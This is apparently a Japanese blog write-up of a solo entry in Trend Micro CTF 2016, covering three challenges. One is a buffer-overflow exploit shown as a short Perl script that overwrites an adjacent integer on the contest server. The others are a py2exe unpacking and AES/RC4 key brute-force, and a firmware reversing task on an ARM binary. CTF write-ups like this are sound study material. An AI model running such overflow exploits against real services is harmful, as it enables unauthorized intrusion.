Trend Micro CTF 2016 writeup

writeup

記事をご覧の方へ

現在vivibit.netは旧システムからの移行に伴い修正作業を行っています。
表示上の問題や軽微なエラーが発生する可能性がありますが、ご利用に問題はありません。
また、現在一部ファイルのダウンロードができなくなっています。
順次対応予定ですが、お急ぎの場合や問題を発見された場合はコメント欄でご指摘いただけると助かります。


Trend Micro CTF 2016に一人チームで参加した。
3問解いて48位だった。

tmctf2016

Analysis – Offensive

200

1024バイトのバッファに対して1028バイトrecvしてくれるので、隣接するintの変数が書き換え可能。
フラグを出力する分岐に入る値を送ればよい。

[perl]
use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(
PeerAddr => ‘52.197.128.90’,
PeerPort => 80,
Proto => ‘tcp’
);

$|=1;
$sock->autoflush(1);

print read_until($sock, ‘Welcome’);

syswrite $sock, ("a"x1024) ."\xFE\xC0\x51\xBE";

while (1) {
$sock->recv(my $data, 8192);
print $data;
}

#$sock->close();

sub read_until {
my $fd = shift;
my $until = shift;
my $ret = do {local $/=$until; <$fd>};
return $ret;
}
[/perl]

※Flagはどこかいったので省略

Analysis – Defensive

400

暗号化されたファイルと暗号化するプログラムが渡されるので、復号しろという問題。
最初の実行ファイルをzipとして展開するとまた別の実行ファイルが出てくる。
更に展開するとPythonのバイトコードファイルがたくさん出てくるので、Pythonスクリプトをexe化したものだとわかる。
ぐぐると、それらしいツールが2つぐらいヒットする。
ソースを眺めてみてpy2exeがそれっぽいとわかる。

py2exeはメインのスクリプトをリソース領域に埋め込んでいるらしいので、まずは「PYTHONSCRIPT」というリソースをダンプ。
py2exeのbuild_exe.pyを見ると、コードをコンパイルした後、ヘッダなどを追加しているので、メインのバイトコードだけを取り出す。

[code language=”python” title=”build_exe.pyの一部”]
code_object = compile(file(self.custom_boot_script, "U").read() + "\n",
os.path.abspath(self.custom_boot_script), "exec")
code_objects.append(code_object)
if script:
code_object = compile(open(script, "U").read() + "\n",
os.path.basename(script), "exec")
code_objects.append(code_object)
code_bytes = marshal.dumps(code_objects)

if self.distribution.zipfile is None:
relative_arcname = ""

si = struct.pack("iiii",
0x78563412, # a magic value,
self.optimize,
self.unbuffered,
len(code_bytes),
) + relative_arcname + "\000"

script_bytes = si + code_bytes + ‘\000\000’
[/code]

[code language=”python” title=”res2pyc.py”]
import marshal

f = open("PYTHONSCRIPT.bin", "rb")
data = f.read()
obj = marshal.loads(data[17:-2])
f.close()

f = open("002.pyc", "wb")
f.write("\x03\xF3\x0D\x0A\x90\x6D\x75\x4D" + marshal.dumps(obj[2]))
f.close()
[/code]

あとは、uncompyle2というツールでバイトコードを逆コンパイルするとスクリプトが得られる。

暗号化は、
1. 実行毎にランダムで決まる鍵1でAES暗号化→Base64
2. 実行時の日付8桁(鍵2)でRC4暗号化
という流れで行われるが、これを10回繰り返している。

鍵2は”20160106″~”20163107″あたりを総当たりで試して、Base64っぽい文字列が得られれば当たりと判断できるが、「002.exe」の更新日時である”20163006″を試したら一発で当ててしまった。

鍵1は、10個の異なる文字から5個ランダムで選ぶので10^5で100000通り。

[code language=”python” title=”鍵1の生成”]
s = ‘TrEndMicRo’
key1 = ”
for i in range(5):
key1 = key1 + random.choice(s)

key1 = ‘!’ + key1 + key1 + key1 + key1 + key1 + key1 + ‘!’
[/code]

鍵2は確定しているので、鍵2で復号化したデータを鍵1の候補で復号化し、さらにもう一度鍵2で復号化したときにBase64っぽい文字列であれば当たりと判断できる。

Pythonスクリプトで書かれたRC4の復号化には時間がかかるようだったので、RC4は先頭16バイト程を復号化して100000通り総当たりすると数分で鍵1が得られた。

[code language=”python”]
for key in list(itertools.product("TrEndMicRo", repeat=5)):
if cnt % 1000 == 0:
print cnt
cnt = cnt + 1
key1 = "".join(key)
key1 = ‘!’ + key1 + key1 + key1 + key1 + key1 + key1 + ‘!’
decoded1 = aes_decrypt(key, decoded2)
decoded0 = rc4_decrypt(decoded1, "20163006")
if is_base64(decoded0)
print key1
[/code]

鍵1: !MdEccMdEccMdEccMdEccMdEccMdEcc!
鍵2: 20163006

得られた鍵で復号化するとPNG形式の画像になった。

Flag is a MD5 of original this file.
TMCTF{<input MD5>}

と書かれている。
復号化したファイルのMD5のことらしいが、なぜか通らず。
アルファベット部分を大文字にしたらいけた。

Flag: TMCTF{8457F2FDA0BF2BF1DB76121ED133B46E}

MD5ぐらい小文字でも通るようにしておいてほしい。こんなことに時間を使いたくない。

Misc(iot and network)

300

謎のスマートデバイスのファームウェアのアップデートファイルからフラグを得る問題。

「firmware.bin」をバイナリエディタで見ると、全体的にエントロピーが高いので、圧縮か暗号化がされているように思えるが、ヘッダらしき値も見られる。

gzipっぽいので先頭に1F 8Bをつけて展開すると、tarファイルが得られる。

binとかetcとかhomeとかが出てくる。
ファイルがいくつもあるので、”TMCTF”でgrepをかけると、bin/authがヒット。

ARMらしい。

[code]
$ file bin/auth
auth: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0xb385cfba44717d2e168a6576ea289f6d85b69dc9, stripped
[/code]

objdumpして”TMCTF{%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c}”を参照してるところを眺めると、なにやら引数らしき値をスタックにたくさん積んでるコードがある。

[code]
10754: e55b305b ldrb r3, [fp, #-91] ; 0x5b
10758: e58d3040 str r3, [sp, #64] ; 0x40
1075c: e58d203c str r2, [sp, #60] ; 0x3c
10760: e58d1038 str r1, [sp, #56] ; 0x38
10764: e58d0034 str r0, [sp, #52] ; 0x34
10768: e58dc030 str ip, [sp, #48] ; 0x30
1076c: e58de02c str lr, [sp, #44] ; 0x2c
10770: e58d4028 str r4, [sp, #40] ; 0x28
10774: e51b009c ldr r0, [fp, #-156] ; 0x9c
10778: e58d0024 str r0, [sp, #36] ; 0x24
1077c: e51b0098 ldr r0, [fp, #-152] ; 0x98
10780: e58d0020 str r0, [sp, #32]
10784: e51b0094 ldr r0, [fp, #-148] ; 0x94
10788: e58d001c str r0, [sp, #28]
1078c: e51b0090 ldr r0, [fp, #-144] ; 0x90
10790: e58d0018 str r0, [sp, #24]
10794: e58da014 str sl, [sp, #20]
10798: e58d9010 str r9, [sp, #16]
1079c: e58d800c str r8, [sp, #12]
107a0: e58d7008 str r7, [sp, #8]
107a4: e58d6004 str r6, [sp, #4]
107a8: e58d5000 str r5, [sp]
107ac: e51b308c ldr r3, [fp, #-140] ; 0x8c
107b0: e51b2088 ldr r2, [fp, #-136] ; 0x88
107b4: e51b1084 ldr r1, [fp, #-132] ; 0x84
107b8: e59f0064 ldr r0, [pc, #100] ; 0x10824
107bc: eb001a63 bl 0x17150
[/code]

当該関数の最初のほうで”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-“をfp(r11)-0x6cにコピーしているっぽいコードがあるので、printf?の20文字分の引数を積んでるところで参照してるアドレスから表示される文字が分かる。

[perl]
use strict;

my @s = ();

my $str = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-‘;

$s[0x6c-$_] = substr($str, $_, 1) for (0..length($str)-1);

#printf "%02X: %s\n", $_, $s[$_] for 0..$#s;

my @p = (
0x5B,
0x64,
0x48,
0x48,
0x32,
0x53,
0x57,
0x5D,
0x66,
0x30,
0x5A,
0x53,
0x55,
0x48,
0x59,
0x66,
0x6A,
0x61,
0x4E,
0x5D,
);

print $s[$_] for reverse @p;
print $/;
[/perl]

Flag: TMCTF{PeLCGTkXZS9GPVZ7kkIR}

コメント

タイトルとURLをコピーしました